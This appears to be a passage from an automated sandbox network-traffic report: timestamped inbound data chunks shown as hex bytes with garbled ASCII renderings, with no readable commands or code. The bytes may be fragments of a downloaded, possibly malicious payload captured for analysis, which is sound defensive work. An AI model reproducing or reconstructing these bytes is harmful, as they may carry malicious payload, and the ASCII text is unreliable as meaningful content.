2022-08-31 06:34:46 UTC	677	IN	Data Raw: 84 71 4f 4e 00 37 ba cc 70 1d b8 b0 0d 6e 54 6a 11 1e 7e 68 e3 42 43 cd a3 6c 33 e7 a1 1c 09 af fd 62 71 df d7 60 87 46 82 64 ab 0c f2 4e a9 78 54 af d7 f3 ca df fd f1 61 1b 82 4e 3a b7 f2 64 38 9e 50 6e 7e fb aa 1e 54 f9 05 1f 43 e7 32 d7 33 cd 30 fa 5c 2d 84 e2 0a 5d ae e0 a9 13 00 1d 2b 77 70 37 29 56 58 ec 2d ea 6a 9c 07 e8 cd 17 c1 b4 23 17 b1 9e 21 32 a2 20 91 e3 13 50 bb e1 4e ed 0d 08 2a 6e 7d 22 28 b1 a6 e1 38 eb 73 91 12 e9 2a e9 cc a1 22 0e bc 8b 20 d5 aa a2 c2 f2 d3 d2 e8 f0 86 e5 8f 5b 3b ae ff 71 39 79 ae 63 6b fa b3 13 41 f8 e2 e1 4e f2 33 ce 3e d8 31 1d f3 63 41 6b 08 13 6b 69 04 bc 4e d8 a2 75 3e f2 a0 fb f7 a2 e8 63 68 d2 c2 61 60 b8 8f 71 aa 15 ff 5b a8 9f fb e1 12 7a c8 91 38 78 cc b4 cc 8b b3 b5 bc a1 b1 33 ff 20 bb 72 a8 50 91 70 a8 Data Ascii: qON7pnTj~hBCl3bq`FdNxTaN:d8Pn~TC230\-]+wp7)VX-j#!2 PNn}"(8s" [;q9yckAN3>1cAkkiNu>cha`q[z8x3 rPp
2022-08-31 06:34:46 UTC	682	IN	Data Raw: 48 d1 be 4d 15 e4 fa d2 c0 3f 71 f4 d0 62 4d a3 81 20 d5 bc ad ae 88 89 e9 c8 39 a2 1c e7 33 ff 2e ad 88 88 a1 67 a3 0f fc 52 e7 c1 91 d6 c7 e9 92 8b e7 84 b4 d2 ef 66 8a 69 b2 53 ce fd cb 98 c6 c0 f4 c5 f4 8a bd 7a 9b bd 84 c8 c6 88 c0 f4 63 ec 1d ce 55 b1 21 99 a7 83 06 d0 97 2b 5b e5 d3 ee 9a 71 70 dd b6 2c 42 97 ae 2b 72 0b 99 8a 2f 3e dd e7 32 05 ab d3 17 58 b3 cb df 37 9a d2 c5 e7 c7 e7 81 96 2e ed 72 8f 7a b0 40 c5 d6 9f ee 09 cb 46 b3 3c 8f 9f 86 99 a9 81 db c4 95 d6 cc 66 73 64 d8 a5 2e 51 9c 85 7f 04 c4 92 38 59 f6 d8 c5 ce 07 bf d6 04 5a 8a 92 8c d7 70 1f 9c 99 2d 3f f1 f9 94 49 be ff 62 14 8b bb b0 8d 3e 1e b5 ff 63 2c ff f0 3c 3d 65 f1 c3 60 50 b5 b9 25 4a c5 bb 5e 17 f9 ec ea c5 a0 08 e2 20 fd 3d a6 a3 dc d7 a8 a8 bd 8a 9a e2 e3 6d d4 d3 ec Data Ascii: HM?qbM 93.gRfiSzcU!+[qp,B+r/>2X7.rz@F<fsd.Q8YZp-?Ib>c,<=e`P%J^ =m
2022-08-31 06:34:46 UTC	684	IN	Data Raw: e0 00 57 2a aa ef d6 9a 16 63 f9 19 91 c4 e3 58 dc 71 0d f5 97 37 36 86 d1 22 5c ff 90 1e 63 58 8a 5f 64 3b 91 9c 90 00 db 73 11 75 d3 12 65 de bb b5 7f 9f 33 b4 7c 69 50 eb a4 1d b3 f8 a5 da 97 e2 f7 b6 b3 f6 5b 1a 0d 58 0f 5a 0f f2 97 de 23 5a 6f 92 97 6c 79 82 97 db 17 05 ac 6a a6 2e 87 0e aa 60 b0 77 a1 6b a8 0b d5 61 de 19 a0 6c b0 6e c6 07 ea 2f ac 60 c3 6a c1 0c ce 6f ae 2f e2 7d a7 77 cf bd f3 9b d3 b8 74 6a a7 0e a2 7f d1 09 73 de cf 6d ba 6c b4 6a c1 03 ad 60 ab 61 bd 3e ea 2f ea 62 a5 75 d3 0c d5 7b c3 7d d4 7e b0 68 a7 03 a0 67 ab 68 ea 3a b6 7f ba 61 f5 5f d4 79 ce 14 a6 e9 51 5d dc 00 ee 6d af 0c cb 67 b2 7b e2 7b b8 76 95 44 b8 6a b6 09 8b 75 ae 13 d5 71 a9 65 bb 3e b6 62 9e 53 ab 72 b8 68 a6 6c b0 4a ea 46 b4 73 ec 0b 82 62 ca 9b 53 6e a4 Data Ascii: W*cXq76"\cX_d;sue3\|iP[XZ#Zolyj.`wkaln/`jo/}wtjsmlj`a>/bu{}~hgh:a_yQ]mg{{vDjuqe>bSrhlJFsbSn
2022-08-31 06:34:46 UTC	695	IN	Data Raw: db 1a 69 f1 82 1a bf 02 d7 8b 36 1a 83 3e d7 b1 29 4f d7 5a e7 1a 79 c4 d7 56 eb 1a 7e c6 a2 1a ef 52 d7 ac 11 1a 96 d3 9e 52 7a 91 f8 9a 96 21 6c 5e 93 5c 40 fa 57 06 3b 9b 4d 30 9e d3 1c 8c 3b 9a cf f2 57 db 81 4c 8e a4 89 e2 57 ca 2a 47 16 5d 0f 34 d6 ef 8e 37 57 19 a4 1a 96 c2 35 11 d7 fa c7 9a 0d 54 43 1a 3b 86 d7 cf 72 1a 0f b2 d7 c0 a3 b4 d7 de 63 1a ea 57 d7 aa 17 1a 4d 36 61 1a 6b d6 d7 d6 6a 1b d7 01 0d 51 97 08 8f 9a 2f 12 57 db 91 dc 1b 03 b3 9a 40 bc 15 d8 08 54 57 3a 57 6a 57 db 91 5c 9b 92 e3 cb cb 66 57 1e 23 98 94 c1 9d 8d e0 ca 0f b6 77 7e 18 35 57 7e c3 1a 50 2c 91 dc 37 fa 34 e8 77 9a 16 51 9c 4f 92 89 5f fc 7b 9a cd 70 d5 59 0c 41 8d c9 6f 9a 59 f5 36 9a 16 78 b6 7c f3 9a 96 d6 1b ff 32 fe a8 90 07 9a 32 0f 56 37 8b 1a f6 4a d6 39 c4 Data Ascii: i6>)OZyV~RRz!l^\@W;M0;WLW*G]47W5TC;rcWM6akjQ/W@TW:WjW\fW#w~5W~P,74wQO_{pYAoY6x\|22V7J9
2022-08-31 06:34:46 UTC	699	IN	Data Raw: 8c 8d 6b 79 57 5e 76 a7 bf bb 3d 0a 5f 3b 37 ab 66 4d 12 39 42 4e e4 22 6f e1 c9 8d 6a a6 6d 89 68 8b 96 87 7f e1 ca 8e 38 35 67 31 c8 b5 4c 25 e9 fe de 86 7e b2 2f 0f 0b a6 9c 9c 0d 73 15 a0 ff fe 0c c4 24 7b f4 cc 51 fa 4b 8f 0e 79 d4 2b d7 1d a1 74 af 3c e7 62 ae 1b d6 e9 0c 40 24 ef 90 77 08 bf 32 f7 fa 0a 46 d5 8a fb 78 b4 1a 56 6a 27 49 8f 1b d6 65 a4 20 6d e2 29 65 e4 9b 99 72 be 78 31 e2 ab e3 2c 58 1e ef dc 5a 61 e1 af 58 17 24 8f 43 95 da e9 e7 3f b3 95 58 c8 05 95 d8 eb d0 ac 16 97 5b 99 e0 d2 4f 8e 54 9f 7c 24 b5 03 4d 9f 52 b5 f5 7d be 45 09 b7 ea fb 44 88 7a 38 2f b5 d2 73 90 6f 21 b1 7c b7 fe ef 41 8b 7c b5 02 66 4c 2d 3d f5 b1 ce d4 07 ca 00 8d 26 70 f2 bd f6 7a 36 21 df 13 b1 f2 65 64 2e 7a 6c f0 e3 5d 93 53 9e e4 29 7c 31 e4 38 22 7d 62 Data Ascii: kyW^v=_;7fM9BN"ojmh85g1L%~/s${QKy+t<b@$w2FxVj'Ie m)erx1,XZaX$C?X[OT\|$MR}EDz8/so!\|A\|fL-=&pz6!ed.zl]S)\|18"}b
2022-08-31 06:34:46 UTC	700	IN	Data Raw: ba 24 cf 3e 99 74 f3 71 a7 25 eb 69 ca 06 09 d6 a8 6d a1 71 a0 63 c1 6c a1 02 a0 72 b0 67 a2 67 c1 48 f3 1f d6 75 bb 70 ba 77 de 15 a6 04 5f 22 1d f0 77 2a 0f d2 87 1b 95 15 f7 f6 60 48 d2 74 89 56 fb 40 8d 44 b9 5a 16 d3 81 f9 5a 2a 89 94 77 db 16 d9 15 3a f6 6a 17 c9 47 48 4e c3 23 7f a7 7b b7 5a 96 3f f1 9c 52 29 95 1b d6 18 c8 6f bd 6d c8 7b ad 6a a7 24 9d 49 9f 72 e6 68 93 3b 83 7a b0 61 97 4d af 1c d8 77 b8 66 f7 52 fe 48 ba 45 84 6c b1 6a e2 68 e2 18 ca e4 33 7a af 6a e5 74 97 aa 67 9e 51 68 f5 5d a3 6f 95 55 bc 6c d3 1f b3 67 86 42 af 68 ba 6a ac 82 34 26 9d 71 cc 0c c1 1e d4 e0 96 d2 f4 39 e8 25 e1 2c f3 3e a7 3d f0 2b e6 38 f5 2f e2 6a fb 36 e4 29 cb 06 c6 0b ad 13 d4 62 ca 0f bf 2e fb 44 89 6a c4 09 c8 05 c3 0e c2 0f b7 13 ce 04 c9 6b a6 3f 81 Data Ascii: $>tq%imqclrggHupw_"w`HtV@DZZw:jGHN#{Z?R)om{j$Irh;zaMwfRHEljh3zjtgQh]oUlgBhj4&q9%,>=+8/j6)b.Djk?
2022-08-31 06:34:46 UTC	707	IN	Data Raw: 68 22 be fe 62 3a 33 ae bb 72 a5 46 4a a0 fb 6a 33 af cf cd 65 39 3c af d3 d0 69 27 db 9d 76 0d 13 ae af 66 a0 ae 6a 2d ad 84 cb a2 2e 21 65 a1 6b e0 e9 a4 f3 f8 6b 2e 65 22 63 66 69 a2 f9 62 3e a5 39 4f d9 a8 f6 33 ac f4 f8 a5 61 bb 2c 38 69 34 a9 fc 76 e5 f0 a5 61 a1 0e 0a 63 aa 69 d3 f4 ae f1 f9 62 4e a7 0e 39 b8 8b 6e 6b c6 e9 6a 6b 89 82 3c 14 ca c8 54 9b 63 a2 3e f3 6b c2 0c 01 bd ac 51 e1 6f 23 0e 45 68 27 a6 aa cf 41 12 a7 6a b9 6c 05 80 8d 62 2b e1 ad 8c 68 34 a1 7d e0 1a ba 62 84 07 20 88 cf 32 9f 07 24 93 bb 01 f1 dd 40 fe 57 08 c7 16 d8 0c f4 13 69 8d 3b 13 42 ee 0f 6c 8b 67 8c 36 1e ca d4 e4 20 74 a2 2a 86 4e 01 b2 1e da f4 09 79 aa be 6f b3 7e a6 de 76 30 aa 38 c4 98 37 08 4d c2 d3 3f c4 a8 5f 71 81 6f bf 69 dc 14 da 0e a2 5e f0 09 a5 2a e2 Data Ascii: h"b:3rFJj3e9<i'vfj-.!ekk.e"cfib>9O3a,8i4vacibN9nkjk<Tc>kQo#Eh'Ajlb+h4}b 2$@Wi;Blg6 tNyo~v087M?_qoi^
2022-08-31 06:34:46 UTC	711	IN	Data Raw: b4 71 af 69 cf 0c cb 02 0a ae c2 4d 91 6d a7 19 a6 3e a7 56 bd 7d a3 6f 8a 63 83 0e a7 e2 2f 29 e4 7e c7 1f a4 ec 62 2b 43 8a f5 59 b0 18 f4 5c b6 5d 8b 6b ad 67 ce 1e ba 6c a6 49 8b 78 bf 05 a3 ab 6e 10 85 48 ba 66 a1 1b c0 6a d4 50 85 75 df 5d 8e 65 cb 0c c2 09 c5 1f d2 29 8b 75 d5 11 df e5 7e 3d e3 2b ce 75 d4 1e a1 7b a9 77 be 42 e6 c8 ed 83 f1 54 a8 75 de 37 89 19 f2 6f be 4d af 63 c8 c1 49 29 80 1c f0 6a 89 41 f5 4f bc 77 b6 0e a2 30 b4 42 af 68 ba 61 de 6a a7 80 49 38 98 71 a1 6b d2 0b aa 47 8a 6a a4 66 81 7f 8f 12 a7 c3 0a c1 5a b8 37 0e f1 2d 41 8a c4 6a 4a 02 31 3f 93 1c c6 6a c2 79 c1 1c eb 55 b2 57 91 41 94 1c d2 9f 14 b9 c6 b4 bd fb 0b 7b ce 01 a8 0b bb f5 a0 b5 fa 76 b9 6b d1 68 b6 77 ab 1e a7 fb 00 58 a3 17 56 ef 2b 6d 01 4d ae 60 a7 6c 8c Data Ascii: qiMm>V}oc/)~b+CY\]kglIxnHfjPu]e)u~=+u{wBTu7oMcI)jAOw0BhajI8qkGjfZ7-AjJ1?jyUWA{vkhwXV+mM`l
2022-08-31 06:34:46 UTC	713	IN	Data Raw: a8 34 e1 26 ef 68 df 35 23 98 02 ec 96 dd 23 6a 17 da a4 3c 9c 85 64 d5 59 41 d5 3b bd 88 5d 63 a7 30 6c d9 d1 51 a3 25 e6 61 01 9a 9f fb 26 72 c0 6e e0 33 a2 9a 02 9f 3a 53 03 a4 ee 3d 29 13 a2 9f 64 92 89 7b a4 6a db c2 5f 5f ea 3f e7 58 e5 6c 00 f3 71 b5 e3 ce 32 6f bb 6f ad 69 e4 db 37 39 75 c7 4b 79 54 9a 75 f3 38 3d c6 4c d4 6c 52 97 be 19 d6 9c 43 68 49 8c a6 13 84 5b b2 ec 47 6d b8 6f ae 68 a5 4b a0 41 cf 68 a5 6a b8 e5 19 2e f5 27 a1 6d 71 ca c5 79 17 a8 d5 19 c9 93 84 d4 8b 4d 32 e1 dc 9f 29 61 9b 15 b0 2a e6 6f b5 7d b6 5f f4 5c a7 48 84 38 9c 67 ae 6a 8e 27 d7 77 a1 99 a3 a9 f0 d7 1a d6 48 71 3f 84 98 cc c1 a2 be 76 4a 98 b5 7b e4 49 b2 6c a4 39 d2 43 a4 06 c3 6b b0 48 96 7f bb 55 99 73 d6 2e ae e3 ed db 29 c6 fc 1c 96 2e e3 06 3b 9a f2 51 a0 Data Ascii: 4&h5##j<dYA;]c0lQ%a&rn3:S=)d{j__?Xlq2ooi79uKyTu8=LlRChI[GmohKAhj.'mqyM2)a*o}_\H8gj'wHq?vJ{Il9CkHUs.).;Q
2022-08-31 06:34:46 UTC	718	IN	Data Raw: 6c 60 ac 49 a7 88 76 73 2f c2 cc 3e 71 ce b8 5d 6a 8d d4 fe 04 88 6e 62 46 8f ce 79 82 f3 74 30 c1 ca 38 29 e4 51 0e cd ec 3b 9a 16 d7 a6 4c c4 18 d7 50 77 a7 4e 9f db 10 70 a7 3e 1c c7 8b 69 89 45 a5 e9 37 33 8d 6d aa de 7a 27 87 6a ea 1b a4 2d b2 6b eb 3c b4 42 98 6b bd 6c a6 39 bd 7c db 09 b9 7d a0 2f ac 67 ab 48 8e 67 a0 63 fd 70 d5 6b be 61 cc 7f b8 6d f4 6d b2 46 84 60 a2 67 a4 6b ac 32 d7 00 f9 76 b1 3e bf 6b 94 2a e0 5c fa 78 a7 7c af 65 80 43 b2 33 ca 62 8c 77 e9 70 cd 52 a0 76 f3 23 b7 61 aa 42 87 66 b5 34 e7 6e ad 7b 98 48 bb 76 ae 78 fe 24 ab 48 87 3d fc 78 b9 29 ff 2d db 00 a0 27 ab 65 a0 65 a4 5a 81 6d 85 d8 03 27 ee 0e a7 76 d6 53 a1 6d a1 6d 9a 4d af 8b 4f ec 0a 0c 74 df d0 7b 2a 8e 81 4d a0 54 b1 6c b1 6d bc 77 aa 1d 00 8f 86 48 9a 7d b3 Data Ascii: l`Ivs/>q]jnbFyt08)Q;LPwNp>iE73mz'j-k<Bkl9\|}/gHgcpkammF`gk2v>k\x\|eC3bwpRv#aBf4n{Hvx$H=x)-'eeZm'vSmmMOt{MTlmwH}
2022-08-31 06:34:46 UTC	724	IN	Data Raw: 70 b4 79 ae 63 a1 6c 5a 94 72 bf 66 ab 34 f9 d6 1b fa 37 84 49 b8 75 bc 71 b0 7d b4 79 a8 65 4a 86 7f b2 18 d5 10 dd 3b f6 2f e2 fb 36 f4 39 ed 20 9a 57 97 5a 8f 42 59 93 58 95 14 d9 9d 50 b6 7b ac 61 71 bd 3f f2 95 58 4f 81 43 8e d7 1a c8 05 e9 24 90 5d 53 9f 09 c4 3d f0 c7 0a e4 29 92 5f ae 63 58 9a 7a b7 7d b0 30 fd 83 4e b5 78 07 cb d0 1d d9 14 b2 7f bf 72 a4 69 51 9f 5d 90 48 85 7d b0 6d a0 39 f4 cb 06 e9 24 98 55 ba 77 a9 64 4b 87 7b b6 1d d0 0a c7 2c e1 c1 0c f6 3b b6 7b 5c 96 9f 52 a6 6b 58 94 4b 86 7a b7 f0 3d fb 36 e5 28 ee 23 8b 46 d5 1b c4 09 54 a7 6a f7 3b a6 6e a2 6b a7 24 d9 04 c9 2e e3 27 ea 90 5d 52 9e 54 99 7f b2 6d a0 1b d6 14 d9 39 f4 35 f8 20 ed 91 5c 7a b4 76 bb 63 ae da 17 f0 3d e9 24 e2 2f 91 5c 82 4f b9 74 69 a5 60 ad 15 d8 3d f0 Data Ascii: pyclZrf47Iuq}yeJ;/69 WZBYXP{aq?XOC$]S=)_cXz}0NxriQ]H}m9$UwdK{,;{\RkXKz=6(#FTj;nk$.']RTm95 \zvc=$/\Oti`=
2022-08-31 06:34:46 UTC	740	IN	Data Raw: aa 2e 62 9c 99 a4 11 1d 28 e7 24 69 9a d3 ce 07 b2 5f 86 a7 76 7e 4b ed 45 2a ee e9 d8 1c 69 a5 18 df 4a 0f 29 e7 90 c6 72 d3 10 7b b4 7e 0f b1 c9 b3 38 f4 a8 e6 d1 7f 99 53 be a0 7d 6b 85 93 cb 6c 55 f6 4b ee 82 8c 38 36 ab 57 92 07 c7 29 69 a2 17 c6 92 47 4a cf ab 6f 53 57 aa 66 5a 5f 36 33 5a 8e cb b7 0f 6a 5a 6c bb 8d 5a ce 69 74 b2 4a 3c c4 8a 24 09 4f e2 c7 3b c6 f2 9d b9 47 ec 43 e1 66 58 e4 10 24 d0 0e 78 f5 0b 2f 21 87 ba e7 a2 54 36 e0 43 15 b5 70 b5 00 3b 4d 7e 6b ae a2 33 63 28 92 e8 ce 4a ee 28 2f 2e 90 7a 81 d9 9b 03 ef 9e 74 2e bc 62 45 94 ed 64 0f 2a 47 03 f2 32 9b f3 87 eb c5 69 17 aa a6 12 62 56 44 32 26 a1 1e db 64 ef 9a 82 0d 2b 9e 71 fd d2 3b 8d 2d 8b 10 71 66 50 41 8a 1d 28 65 ef db 19 ef 56 d3 23 e3 ed a3 27 69 e6 34 74 e2 ab b1 0a Data Ascii: .b($i_v~KEiJ)r{~8S}klUK86W)iGJoSWfZ_63ZjZlZitJ<$O;GCfX$x/!T6Cp;M~k3c(J(/.zt.bEdG2ibVD2&d+q;-qfPA(eV#'i4t
2022-08-31 06:34:46 UTC	746	IN	Data Raw: bb f5 23 ec ac 62 a0 2f d4 b9 c3 e7 9d 9a e0 4f 9f 71 2d 53 05 f0 8b 8f a0 bc 19 49 ad ec 94 58 7f a5 11 cf 6e 61 e8 c7 0e af 4f 82 a9 63 2d ae 3e ba fb de f7 db 93 7f 0e 53 c8 20 ef f3 9f 54 6a 66 1a 17 81 25 0d aa 6a 4c b3 44 32 2a 56 8d f8 23 e6 2a b7 70 7c 4c 98 4f 52 f7 26 0a 0e d2 f1 eb c6 cd 35 19 c3 d4 00 8f b9 93 80 45 bb ea e1 4a 27 c1 c7 e7 c0 c2 e3 3e 0e 84 c6 4d 23 da 4a 7e b5 d1 18 d6 85 1e 46 97 73 8e c2 3e b2 2d 31 c8 e5 f8 e3 6e d5 c7 7a ab 36 e0 7d a7 e1 6e 6a c5 4f 6d 2c 69 05 ac 48 ab 2d f4 d8 04 df 3a 48 e4 d4 88 87 55 e6 75 fd c3 07 c2 1a bd 6a 76 8a 93 4e 76 83 8d 99 2b ab 2a 6e 2a a7 e3 4e a3 02 62 f2 c2 37 8f 74 4d a9 44 f9 78 e7 a6 69 b0 ac 57 99 d6 0b 76 43 64 56 81 98 31 ec 83 ec 60 0d 84 49 26 05 11 23 a0 27 ed 6a 0d 23 74 5a Data Ascii: #b/Oq-SIXnaOc->S Tjf%jLD2V#p\|LOR&5EJ'>M#J~Fs>-1nz6}njOm,iH-:HUujvNv+nNb7tMDxiWvCdV1`I&#'j#tZ
2022-08-31 06:34:46 UTC	750	IN	Data Raw: 6f a7 82 5e 27 f9 68 6b 4e 1b 09 75 ce e7 5a d4 29 8d 03 e4 4e 8f 25 e4 74 f9 2a 65 ce 80 7f a4 6b b0 62 62 4b 2f 5e 41 5c 27 ab ae 0e bb 90 ec 16 9f d1 e8 9f c9 88 aa 0f 4e 62 a2 94 15 ab af d8 94 e1 dd a8 46 f0 62 6a fa 3a 22 6f a7 2b 5e c2 b3 2e 63 ea 1e 0e 3f 0b 48 5a 4d 7b fb 32 a3 6e ef 41 14 f2 62 ea ae bc 74 ab 69 e9 2f a4 75 76 a2 6a eb ad eb cb 42 95 8c 7d 19 c8 b3 af 3f 7c 24 cf ca aa 20 21 22 6f 6c 29 60 29 ee 6a 96 9a 18 80 18 80 98 14 3d 81 93 28 bc b7 e4 be 30 b8 b4 1b 57 b8 0a e0 d5 45 bd 98 8e 43 4c 41 67 97 13 7f 3f 4a a3 ca 42 87 6b 0a b3 69 94 b1 1a 03 b7 31 e3 6a a8 e5 90 90 76 90 fa 5c df 5f fc 71 a8 d2 55 b1 4c 12 cc 37 f8 0b c8 01 a5 ed 56 9f a8 a5 e1 33 51 c3 a4 1c c8 30 e2 37 fe 69 b4 7b ae e9 8d ca a4 24 ea 69 ab e1 71 b8 2f 62 Data Ascii: o^'hkNuZ)N%t*ekbbK/^A\'NbFbj:"o+^.c?HZM{2nAbti/uvjB}?\|$ !"ol)`)j=(0WECLAg?JBki1jv\_qUL7V3Q07i{$iq/b
2022-08-31 06:34:46 UTC	751	IN	Data Raw: aa e4 62 b5 90 cf 7c 88 23 62 2f c9 14 b6 0a f5 68 96 0b 16 49 e0 de 96 75 29 f0 b6 67 db 01 17 a6 8a 32 66 8f ef 0c 45 ea 4e d3 c7 33 65 31 67 33 f6 52 ec b3 2f 91 55 60 d6 af 07 dd 2c cb 04 a9 6c 31 d7 12 d4 b9 40 e7 a7 89 45 ef 58 bb 8d 68 fa 27 fd ad 2e 2e 27 e2 d4 94 6d e3 c2 19 23 62 bf 2e cc a9 07 f3 8b db 2b ab 24 ea 2d a2 cb 0f 65 21 2f 09 49 2f 6f 19 64 da e0 22 18 53 66 6a 50 4d 3f 19 5b a2 2e 95 df da 17 e6 1e 66 d7 a7 dd 9a 4c 0a 64 ed 67 22 57 72 6e 42 ce 42 3d e0 47 95 2f 8b e0 4a 9d 9f 1a 3b a6 db 20 b4 84 7e 2a 55 6c 19 99 ad 2c f5 3d ea 2d a2 94 11 4c 17 38 4d 02 5e f8 a2 cc a7 d4 e9 b8 ec fa eb d4 29 17 23 ce 8b 97 30 f4 a2 ac ea ca 85 2f 82 a2 87 ac 37 80 b6 ca 0b 17 33 e5 30 c2 95 2c 2d d4 1c b0 7f 1f c2 fb ab 2e 51 d0 22 2a f3 d9 48 Data Ascii: b\|#b/hIu)g2fEN3e1g3R/U`,l1@EXh'..'m#b.+$-e!/I/od"SfjPM?[.fLdg"WrnBB=G/J; ~Ul,=-L8M^)#0/730,-.Q"H
2022-08-31 06:34:46 UTC	767	IN	Data Raw: e8 e4 4c a1 3b f5 7d 60 5e e0 84 a8 89 f4 2b a1 68 3d 4b 4d 89 b5 20 b5 d6 a4 69 22 34 09 3a b0 98 67 22 64 6d 0f 8e 65 68 a7 6a ef 11 58 4e e7 19 7d 6b e7 62 64 7d 1f 46 ac 69 df 93 22 aa b3 ba ff 6d a6 69 39 e5 eb e7 65 3d fa 1c 54 21 fa bc 94 90 91 80 06 3b 41 69 a7 59 5d 4b 3a 62 d8 68 6b a7 af 63 ef ab 72 12 8b 35 b8 22 24 05 6b 02 64 38 36 a1 04 8b 56 b2 95 b1 a6 e0 a6 ea ac 22 6a 26 1a 18 5e 80 de 07 a6 04 85 ad 6f 31 f7 a9 7f b9 37 f1 67 29 50 80 f1 29 b7 fa 6f ab 2d 21 64 aa d4 53 84 48 b0 95 31 60 d1 68 94 99 67 22 66 a0 dc db 6d 19 1e a3 a4 51 56 60 9c d2 ae 22 cc 41 a7 5b 1c bd df 7e df a1 e0 e6 cf 15 3b a3 d0 db a7 a4 da 5d ff f3 5a 3a 93 78 21 65 11 00 d0 f9 11 6f 94 af 51 e6 ec ec a2 26 ab 6f ee ab 5f 0b b7 af 2a 22 2e 92 ce 41 46 35 64 20 Data Ascii: L;}`^+h=KM i"4:g"dmehjXN}kbd}Fi"mi9e=T!;AiY]K:bhkcr5"$kd86V"j&^o17g)P)o-!dSH1`hg"fmQV`"A[~;]Z:x!eoQ&o_*".AF5d
2022-08-31 06:34:46 UTC	783	IN	Data Raw: 53 66 52 57 26 42 80 85 e5 f7 6a d1 50 55 17 16 a9 f9 6a 3e 50 10 ee 3c f8 9d c1 9e 0b e6 83 5b f6 2e 6b b9 44 df 22 2e 93 df 2a 64 95 f7 76 b2 07 cb 56 77 af 22 eb ae e3 27 e0 ef a8 6e 6b d7 d6 e2 2a 27 02 e9 1c 1b f9 a7 59 28 28 3d b0 e7 4c d0 3b 4a b1 13 90 ae 19 ec af 2f 4b ed 74 b7 32 16 e2 26 9b a2 1b ea ca d6 b5 21 a7 21 62 45 00 9f 5b 53 df f4 32 64 a9 e7 2a 6a 6f ee d7 e7 ce 7f a9 a7 e0 a5 eb 9f d0 9f 52 ef a9 6d 23 2b fe 3f 12 a8 1e 2d 7d 59 e3 41 8b c6 24 8a 08 d4 d2 23 25 49 c2 e5 6c 28 27 21 6a c7 4b ac 7e 51 dd 98 7b 16 83 07 e2 a4 e1 9d f8 a5 c0 9d 59 a7 e9 2c 6b 9d 19 26 2f 9a e0 cc b2 80 e9 77 12 4f a6 67 6f 29 23 75 12 62 a7 c7 f3 df c3 2e c8 a7 11 37 0b a7 2a ef 6d 56 80 f5 bb 32 69 e2 8e 36 c3 9f fb 1c 6a c4 a5 83 44 a5 61 80 48 bb 36 Data Ascii: SfRW&BjPUj>P<[.kD".dvVw"'nk'Y((=L;J/Kt2&!!bE[S2djoRm#+?-}YA$#%Il('!jK~Q{Y,k&/wOgo)#ub.7mV2i6jDaH6
2022-08-31 06:34:46 UTC	785	IN	Data Raw: 83 7f 0a b6 b5 75 d2 11 e3 4c 19 e0 ce 98 65 d9 a5 57 d9 8d d2 8f 5c 50 e2 71 ed 81 ac 4b 76 97 6f a2 c9 ba 3e 5d 5e 03 c7 6a 90 08 db 5e 4a 1a 0b 82 a9 23 ba 10 c5 67 01 b4 8b 67 1e 41 fa f7 2b 06 a5 c9 2f 6e c7 c5 29 59 05 47 28 9f 14 c0 20 0c c8 1f ef 3a 9d b0 71 b0 d6 0e 22 c8 46 c7 22 bd 15 19 91 ec 29 e8 cf 32 ed a5 e3 dc 3c ab 77 1b 8d 41 92 59 bb 92 69 43 00 30 e9 b9 f7 fc a0 36 d1 30 bf 60 ad 5a a0 79 43 81 fd 39 71 95 75 b9 4b 80 56 80 a2 49 43 b2 4f 5b 81 1d 72 2f ab a1 84 d8 14 a6 65 1f c8 91 3d d7 6b a2 99 75 03 64 29 87 0f a2 95 2f 6a 68 43 bb ba 42 ca 33 76 32 f2 bc a4 66 cb 88 f5 ff ab 2c 30 af 79 af 31 5f 6f 32 ed 38 f5 dd 2f 13 3b 22 c7 48 d4 cb d9 84 d2 0f d4 99 16 aa 93 1a cf 08 e4 e6 e0 dc b3 d6 04 ae 6b 5a 4f 35 5e 3e 4a 1e f3 e8 9d Data Ascii: uLeW\PqKvo>]^j^J#ggA+/n)YG( :q"F")2<wAYiC060`ZyC9quKVICO[r/e=kud)/jhCB3v2f,0y1_o28/;"HkZO5^>J
2022-08-31 06:34:46 UTC	789	IN	Data Raw: 68 a6 69 39 65 6d 6c a7 22 66 bf df 6e cf ab 62 26 83 46 fa 7e b2 7f b3 7e e6 3c b0 7c b8 a1 c8 d6 bb 26 2a b5 f4 2a 6d 39 3a 1c 94 95 14 af 7a 1a bb 1e 60 e1 4d c4 6a 9f ff 0e a3 a3 6a 61 13 d8 e9 a3 21 a6 30 4d 97 27 c1 8b 24 a0 dd 97 d0 59 ed a7 24 0a c3 2b a6 5a 7c 01 2b 23 69 db d4 a0 e6 a8 34 f8 a6 73 f6 af 66 02 b3 b2 a2 8f 58 62 a7 17 21 22 60 01 af 20 e5 8d a6 9c bf 51 74 6c 22 e9 8e 62 06 9d 38 8d 2d 70 39 3b 7e 57 1c e7 a3 ee 12 dc 06 cb 13 52 51 15 28 41 d0 42 4d b2 12 16 15 09 72 dc 33 00 ef dc 15 80 48 eb 99 19 27 27 2c 27 28 a8 f8 f7 65 2e 10 fa 8c 5f d1 de 13 4d 81 94 d8 ff bb c3 83 5d d0 a5 eb af 1d 9b e6 42 6f a4 63 76 a6 15 a0 12 4d 5d c0 af 04 01 64 5d 99 0a 0d a9 2d e8 13 10 6f 0b 37 16 e6 a8 ac 26 83 76 3a 02 a6 27 eb f6 b3 e3 0b 2e Data Ascii: hi9eml"fnb&F~~<\|&**m9:z`Mjja!0M'$Y$+Z\|+#i4sfXb!"` Qtl"b8-p9;~WRQ(ABMr3H'','(e._M]BocvM]d]-o7&v:'.
2022-08-31 06:34:46 UTC	796	IN	Data Raw: a9 e3 5a 4d 75 ed 24 89 59 b4 ae 65 6c a7 26 62 47 27 0c 85 2a 96 c1 1d fa 36 eb 26 df bf e2 ab c2 26 a9 71 32 8b 1e 93 ca 26 23 10 80 a9 b1 62 2e 58 b4 a5 08 8f f8 1d 4a c7 14 12 e1 3e b7 c7 4a c3 4e 03 87 fa fc 61 ed 61 2b 2a a9 d6 aa 4d 89 05 3d af a2 67 08 e4 20 ae 09 e9 ad d4 6d 14 33 6d 75 65 29 f0 f1 ea 4a 40 2c e2 d6 17 a2 07 46 60 01 af 22 47 fc 70 6b e6 a0 e9 0f 11 08 d3 2e da 3f ef 1a fc e3 c3 8a a0 4f 8c ec 27 c8 f6 97 a4 6e ac 7a 19 46 2a 23 67 ef 8f 4e eb ad dd d3 84 f1 6f 1e eb e1 c5 cb 66 ae 62 aa ec 4b 72 5d 67 ea 66 93 7e 1a 71 e9 ff 52 f3 1a 2b 86 4f 82 f6 2e 7a 8a 2f 21 3a 83 4d a6 30 44 ee 61 c8 2f a0 e1 85 8c ca 